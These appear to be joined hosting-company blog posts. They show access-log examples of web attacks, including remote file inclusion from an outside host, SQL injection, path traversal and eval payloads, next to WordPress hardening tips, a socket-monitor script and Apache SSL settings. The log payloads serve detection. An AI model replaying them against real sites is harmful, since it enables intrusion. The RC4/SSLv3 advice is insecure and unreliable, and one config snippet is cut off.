That’s right, everyone is a potential target — not just the big names, not just the rich companies, etc.

Now, web-based hack attempts come in many forms ranging from brute force to SQL injections.

Here’s a list of the common types including links to their definitions:

• Brute Force Attack
• Cross Site Scripting Attack
• Directory Traversal Attack
• Local file inclusion
• Remote file inclusion
• SQL Injection attack

I would like to share with you what each of the above types looks like from a log file or security report perspective.

The following comes from our proactive security monitoring service as well the reports we receive from our global security service.

I’m going to start off with the most common type we see which is remote file inclusion:

184.107.145.18 - - [06/Sep/2012:01:13:27 -0400] "GET /packages//wp-content/themes/metamorphosis/functions/thumb.php?src=http://www.blogger.com.moulinsaeau-41.org/cache.php HTTP/1.1" 404 3612 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2)

The above is timthumb attack where the attacker believes the Metamorphosis theme for WordPress if vulnerable; and they are trying to include the code from http://www.blogger.com.moulinsaeau-41.org/cache.php through the potential vulnerability.

The next type is an SQL injection attack:

84.235.73.226 - - [09/Sep/2012:01:16:03 +0100] "GET /merchandise.php?id=-999.9%20UNION%20ALL%20SELECT%20(SELECT%20distinct%20concat(0x7e,0x27,Hex(cast(table_name%20as%20char)),0x27,0x7e)%20FROM%20information_schema.tables%20Where%20table_schema=0x6A6F686E73746F6E5F6965%20limit%200,1),2,3,4,5-- HTTP/1.1" 500 3506 "-" "-" UEvfw1Qz7pgAAGfUdE0 "-"

The next is a directory traversal attack:

195.157.13.221 - - [05/Sep/2012:21:28:20 +0100] "GET /vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../..//etc/amportal.conf%00 HTTP/1.1" 500 3506 "-" "-" UEe15FQz7pAAABD2KuM "-"

What follows is an example of a local file inclusion:

190.90.209.251 - - [05/Sep/2012:18:13:46 +0100] "GET /phpMyAdmin//config/config.inc.php?eval=echo%20md5(123); HTTP/1.1" 500 3506 "-" "-" UEeISlWFNc8AABl2Nvw "-"

Below are two examples of brute force — one for SSH, the other for email:

sshd[21192]: Invalid user deploy from 64.185.229.239
vpopmail[7134]: vchkpw-pop3: vpopmail user not found webmaster@:88.43.116.246

Do you review your hosting log files on a regular basis to see what attacks are getting through or being blocked?

Is your provider doing this for you?

Please let us know your questions and thoughts in the comments below.

If you asked me from September 2012 forward, the answer would change dramatically with WordPress Brute Force Attacks now exceeding 50% of all attacks being reported.

If you review your or your hosting provider reviews your web site’s access logs on a regular basis, you can tell if there are Brute Force attacks being attempted on your WordPress site by seeing multiple requests to access the file wp-login.php from the same IP address over and over again. Sometimes it might be a single request every x period of time; other times it might be scores of requests from the same IP address. By the way, are you or your provider regularly checking your web site access logs for abuse?

How can you protect yourself against WordPress Brute Force attacks?

1. Use strong passwords that are at least 12 wide which are unique to the user id and the application / device (you never re-use the same password for anything).
2. Change your password every 90 days; and never re-use the same password from the past. Alternate the width of the password each time, never going less than 12 wide.
3. Make sure your WordPress was installed in a secure manner. If your WordPress was installed by a hosting automation system rather than manually, the installation is insecure. Use the WordPress Hardening Codex to go through and harden your WordPress installation or ask your designer or hosting provider to do it for you.
4. Go through the excellent check lists and articles at the WordPress Security Checklist site.
5. If you can take advantage of limiting access to wp-config.php by IP address, then do so.
6. Consider using plugins like More Security Login, Login Security Solution, and Limit Login Attempts.
7. Consider using a hosting provider like our company that does review the logs for you, has intrusion systems in place to catch and stop most break in attempts, who does free daily backups and free restores who will work with you to keep your site secure.

Since nothing is hacker proof, should you find your WordPress site hacked, see our Site Security page for what we recommend for you to do (if you host with us, we do the clean up 100% in-house).

Do you have your own suggestions for how to protect against WordPress Brute Force Attacks? Let us know in the comment area below.

The caveat we’ve experienced over the years is that when you receive an LSM alert that might involve malicious malware or hacker activity on the server running LSM, you sometimes have milliseconds to log onto the server to hopefully catch the application opening sockets red handed.

I often agree necessity is the mother of invention, and I would like to share what we’ve done to extend the Linux Socket Monitor (LSM) to provide running process information, not just the netstat lines.

The extension requires modifying three files in /usr/local/lsm – I do suggest you backup all three files:

• /usr/local/lsm/conf.lsm
• /usr/local/lsm/lsm
• /usr/local/lsm/status.lsm

For /usr/local/lsm/conf.lsm we are going to be adding four (4) lines:

PORTS="$INSPATH/dat/ports.list"
PIDS="$INSPATH/dat/pids.list"
DIFF_NET_FILE="$INSPATH/dat/diff_net.list"
PID_PROC_INFO="$INSPATH/dat/pid_proc.info"

For /usr/local/lsm/status.lsm the following needs to be added after the code

cat <$DIFF_NET
EOF

cat <

Finally, in /usr/local/lsm/lsm add the following after the following two lines:

echo "changes found in internet server sockets"

ALERT="true"

tmpf $PIDS
tmpf $PORTS
tmpf $DIFF_NET_FILE
tmpf $PID_PROC_INFO

echo $DIFF_NET > $DIFF_NET_FILE

grep -Po ">.*?\:(\d+)" $DIFF_NET_FILE  |awk -F":" '{print $2}' > $PORTS
for port in `cat $PORTS`; do
         netstat -anp | grep :$port | awk  '{print $7}' | awk -F\/ '{print $1}' >> $PIDS
done

for pid in `cat $PIDS`; do
    echo "========= START =========" >> $PID_PROC_INFO
    echo "lsof -p $pid"  >> $PID_PROC_INFO
    lsof -p $pid >> $PID_PROC_INFO
    echo "Information from /proc/$pid" >> $PID_PROC_INFO
    cat /proc/$pid/cmdline >> $PID_PROC_INFO
    cat /proc/$pid/environ >> $PID_PROC_INFO
    ls /proc/$pid/exe >> $PID_PROC_INFO
    cat /proc/$pid/status >> $PID_PROC_INFO
    ls -lab /proc/$pid/fd >> $PID_PROC_INFO
    echo "--------- END ---------" >> $PID_PROC_INFO
done

Special thanks to pdreissen in the Parallels H-Sphere forum for assistance with the grep and awk command to parse $DIFF_NET ports.

If this was your server, and you are the security administrator, what other information would you add?

Share your thoughts in the comments below.

This past weekend, I found out that some authorized PCI Compliance Scanning vendors will only grant you PCI Compliance status if your SSL Beast protection setup only allows for RC4-SHA and nothing else.

If you have such a vendor, then the following are the settings you would use in your Apache 2 httpd.conf configuration file:

SSLProtocol -ALL +SSLv3 +TLSv1
SSLCipherSuite RC4-SHA:HIGH:!ADH:!AES256-SHA:!ECDHE-RSA-AES256-SHA384:!AES128-SHA:!DES-CBC3-SHA:!DES-CBC3-MD5:!IDEA-CBC-SHA:!RC4-MD5:!IDEA-CBC-MD5:!RC2-CBC-MD5:!MD5:!aNULL:!EDH:!AESGCM
SSLHonorCipherOrder on                      

You can test your settings by running the following (preferably on another server):

openssl s_client -connect [ssl public machine]:443 -cipher RC4-SHA
openssl s_client -connect [ssl public machine name]:443 -cipher DES-CBC3-SHA
openssl s_client -connect [ssl public machine name]:443 -cipher AES256-SHA

And so on for the various ciphers; only the RC4-SHA should connect.

If you know of a more elegant way to adjust the SSLCipherSuite to only allow RC4-SHA please let us know using the comment form below.